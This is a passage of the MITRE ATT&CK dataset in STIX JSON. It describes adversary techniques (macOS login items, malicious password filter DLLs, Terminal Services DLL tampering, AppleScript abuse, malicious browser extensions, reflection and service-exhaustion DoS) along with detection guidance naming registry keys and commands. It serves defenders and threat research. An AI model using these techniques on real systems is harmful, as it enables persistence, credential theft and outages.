useful in determining the origin and purpose of the MSI files or DLLs being executed.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Module: Module Load", "Network Traffic: Network Connection Creation", "Process: Process Creation", "Command: Command Execution"], "x_mitre_defense_bypassed": ["Digital Certificate Validation", "Application control"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--36675cd3-fe00-454c-8516-aebecacbe9d9", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1162", "url": "https://attack.mitre.org/techniques/T1162"}, {"source_name": "Adding Login Items", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", "description": "Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017."}, {"source_name": "Methods of Mac Malware Persistence", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}, {"source_name": "Malware Persistence on OS X", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."}, {"source_name": "OSX.Dok Malware", "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."}, {"url": "https://capec.mitre.org/data/definitions/564.html", "source_name": "capec", "external_id": "CAPEC-564"}], "x_mitre_deprecated": false, "revoked": true, "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don\u2019t all have to since there is an option to \u2018Hide\u2019 the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well  (Citation: Adding Login Items).", "modified": "2022-04-22T18:50:50.483Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Login Item", "x_mitre_detection": "All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well  (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_is_subtechnique": false, "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e", "type": "attack-pattern", "created": "2020-10-02T15:47:59.457Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1590.003", "url": "https://attack.mitre.org/techniques/T1590/003"}, {"source_name": "Pentesting AD Forests", "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019", "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020."}], "modified": "2021-04-15T03:34:22.917Z", "name": "Network Trust Dependencies", "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "reconnaissance"}], "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:41.052Z", "name": "Reflection Amplification", "description": "Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Detection of reflection amplification can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows", "Azure AD", "Office 365", "SaaS", "IaaS", "Linux", "macOS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Sensor Health: Host Status", "Network Traffic: Network Traffic Flow"], "x_mitre_impact_type": ["Availability"], "type": "attack-pattern", "id": "attack-pattern--36b2a1d7-e09e-49bf-b45e-477076c2ec01", "created": "2020-03-02T20:08:03.691Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1498/002", "external_id": "T1498.002"}, {"source_name": "Cloudflare ReflectionDoS May 2017", "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.", "url": "https://blog.cloudflare.com/reflections-on-reflections/"}, {"source_name": "Cloudflare DNSamplficationDoS", "description": "Cloudflare. (n.d.). What is a DNS amplification attack?. Retrieved April 23, 2019.", "url": "https://www.cloudflare.com/learning/ddos/dns-amplification-ddos-attack/"}, {"source_name": "Cloudflare NTPamplifciationDoS", "description": "Cloudflare. (n.d.). What is a NTP amplificaiton attack?. Retrieved April 23, 2019.", "url": "https://www.cloudflare.com/learning/ddos/ntp-amplification-ddos-attack/"}, {"source_name": "Arbor AnnualDoSreport Jan 2018", "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019.", "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf"}, {"source_name": "Cloudflare Memcrashed Feb 2018", "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.", "url": "https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/"}, {"source_name": "Cisco DoSdetectNetflow", "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.", "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Vincent Le Toux"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42", "type": "attack-pattern", "created": "2020-02-11T19:05:45.829Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1556.002", "url": "https://attack.mitre.org/techniques/T1556/002"}, {"url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html", "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.", "source_name": "Carnal Ownage Password Filters Sept 2013"}, {"url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/", "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.", "source_name": "Clymb3r Function Hook Passwords Sept 2013"}], "modified": "2021-04-20T20:11:55.147Z", "name": "Password Filter DLL", "description": "Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "credential-access"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor for new, unfamiliar DLL files written to a domain controller and/or local computer. Monitor for changes to Registry entries for password filters (ex: <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>) and correlate then investigate the DLL files these files reference.\n\nPassword filters will also show up as an autorun and loaded DLL in lsass.exe.(Citation: Clymb3r Function Hook Passwords Sept 2013)", "x_mitre_is_subtechnique": true, "x_mitre_version": "2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Modification", "File: File Creation", "Module: Module Load"], "x_mitre_permissions_required": ["Administrator", "SYSTEM"]}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--379809f6-2fac-42c1-bd2e-e9dee70b27f8", "created": "2022-03-28T15:34:44.590Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1505.005", "url": "https://attack.mitre.org/techniques/T1505/005"}, {"source_name": "James TermServ DLL", "url": "https://twitter.com/james_inthe_box/status/1150495335812177920", "description": "James. (2019, July 14). @James_inthe_box. Retrieved March 28, 2022."}, {"source_name": "Microsoft System Services Fundamentals", "url": "https://social.technet.microsoft.com/wiki/contents/articles/12229.windows-system-services-fundamentals.aspx", "description": "Microsoft. (2018, February 17). Windows System Services Fundamentals. Retrieved March 28, 2022."}, {"source_name": "Microsoft Remote Desktop Services", "url": "https://docs.microsoft.com/windows/win32/termserv/about-terminal-services", "description": "Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022."}, {"source_name": "RDPWrap Github", "url": "https://github.com/stascorp/rdpwrap", "description": "Stas'M Corp. (2014, October 22). RDP Wrapper Library by Stas'M. Retrieved March 28, 2022."}, {"source_name": "Windows OS Hub RDP", "url": "http://woshub.com/how-to-allow-multiple-rdp-sessions-in-windows-10/", "description": "Windows OS Hub. (2021, November 10). How to Allow Multiple RDP Sessions in Windows 10 and 11?. Retrieved March 28, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may abuse components of Terminal Services to enable persistent access to systems. Microsoft Terminal Services, renamed to Remote Desktop Services in some Windows Server OSs as of 2022, enable remote terminal connections to hosts. Terminal Services allows servers to transmit a full, interactive, graphical user interface to clients via RDP.(Citation: Microsoft Remote Desktop Services)\n\n[Windows Service](https://attack.mitre.org/techniques/T1543/003)s that are run as a \"generic\" process (ex: <code>svchost.exe</code>) load the service's DLL file, the location of which is stored in a Registry entry named <code>ServiceDll</code>.(Citation: Microsoft System Services Fundamentals) The <code>termsrv.dll</code> file, typically stored in `%SystemRoot%\\System32\\`, is the default <code>ServiceDll</code> value for Terminal Services in `HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\`.\n\nAdversaries may modify and/or replace the Terminal Services DLL to enable persistent access to victimized hosts.(Citation: James TermServ DLL) Modifications to this DLL could be done to execute arbitrary payloads (while also potentially preserving normal <code>termsrv.dll</code> functionality) as well as to simply enable abusable features of Terminal Services. For example, an adversary may enable features such as concurrent [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) sessions by either patching the <code>termsrv.dll</code> file or modifying the <code>ServiceDll</code> value to point to a DLL that provides increased RDP functionality.(Citation: Windows OS Hub RDP)(Citation: RDPWrap Github) On a non-server Windows OS this increased functionality may also enable an adversary to avoid Terminal Services prompts that warn/log out users of a system when a new RDP session is created.", "modified": "2022-04-18T20:22:44.971Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Terminal Services DLL", "x_mitre_detection": "Monitor for changes to Registry keys associated with <code>ServiceDll</code> and other subkey values under <code>HKLM\\System\\CurrentControlSet\\services\\TermService\\Parameters\\</code>.\n\nMonitor unexpected changes and/or interactions with <code>termsrv.dll</code>, which is typically stored in <code>%SystemRoot%\\System32\\</code>.\n\nMonitor commands as well as  processes and arguments for potential adversary actions to modify Registry values (ex: <code>reg.exe</code>) or modify/replace the legitimate <code>termsrv.dll</code>.\n\nMonitor module loads by the Terminal Services process (ex: <code>svchost.exe -k termsvcs</code>) for unexpected DLLs (the default is <code>%SystemRoot%\\System32\\termsrv.dll</code>, though an adversary could also use [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Module: Module Load", "Command: Command Execution", "File: File Modification", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-03-01T19:06:05.126Z", "name": "AppleScript", "description": "Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.\n\nScripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>. Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding <code>#!/usr/bin/osascript</code> to the start of the script file.(Citation: SentinelOne AppleScript)\n\nAppleScripts do not need to call <code>osascript</code> to execute. However, they may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s\u00a0<code>NSAppleScript</code>\u00a0or\u00a0<code>OSAScript</code>, both of which execute code independent of the <code>/usr/bin/osascript</code> command line utility.\n\nAdversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_contributors": ["Phil Stokes, SentinelOne"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for execution of AppleScript through <code>osascript</code> and usage of the <code>NSAppleScript</code> and <code>OSAScript</code> APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nUnderstanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["macOS"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Command: Command Execution", "Process: Process Creation", "Process: OS API Execution"], "x_mitre_remote_support": false, "type": "attack-pattern", "id": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", "created": "2020-03-09T14:07:54.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1059/002", "external_id": "T1059.002"}, {"source_name": "Apple AppleScript", "description": "Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.", "url": "https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html"}, {"source_name": "SentinelOne macOS Red Team", "description": "Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.", "url": "https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/"}, {"source_name": "SentinelOne AppleScript", "description": "Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.", "url": "https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/"}, {"source_name": "Macro Malware Targets Macs", "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2024-04-18T23:22:37.874Z", "name": "Browser Extensions", "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles, however <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions for [Command and Control](https://attack.mitre.org/tactics/TA0011).(Citation: Stantinko Botnet)(Citation: Chrome Extension C2 Malware) Adversaries may also use browser extensions to modify browser permissions and components, privacy settings, and other security controls for [Defense Evasion](https://attack.mitre.org/tactics/TA0005).(Citation: Browers FriarFox)(Citation: Browser Adrozek) ", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_contributors": ["Chris Ross @xorrior", "Justin Warner, ICEBRG", "Manikantan Srinivasan, NEC Corporation India"], "x_mitre_deprecated": false, "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as <code>profiles install -type=configuration</code>. Additionally, all installed extensions maintain a <code>plist</code> file in the <code>/Library/Managed Preferences/username/</code> directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Windows Registry: Windows Registry Key Creation", "Process: Process Creation", "Command: Command Execution", "File: File Creation", "Network Traffic: Network Connection Creation"], "type": "attack-pattern", "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1176", "external_id": "T1176"}, {"source_name": "Chrome Extension Crypto Miner", "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"}, {"source_name": "xorrior chrome extensions macOS", "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.", "url": "https://www.xorrior.com/No-Place-Like-Chrome/"}, {"source_name": "Chrome Extensions Definition", "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.", "url": "https://developer.chrome.com/extensions"}, {"source_name": "ICEBRG Chrome Extensions", "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"}, {"source_name": "Malicious Chrome Extension Numbers", "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"}, {"source_name": "Chrome Extension C2 Malware", "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.", "url": "https://kjaer.io/extension-malware/"}, {"source_name": "Catch All Chrome Extension", "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.", "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"}, {"source_name": "Banker Google Chrome Extension Steals Creds", "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.", "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"}, {"source_name": "Browser Adrozek", "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"}, {"source_name": "Browers FriarFox", "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved February 26, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"}, {"source_name": "Stantinko Botnet", "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"}, {"source_name": "Wikipedia Browser Extension", "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.", "url": "https://en.wikipedia.org/wiki/Browser_extension"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:43.164Z", "name": "Service Exhaustion Flood", "description": "Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.\n\nOne example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)\n\nAnother variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_deprecated": false, "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", 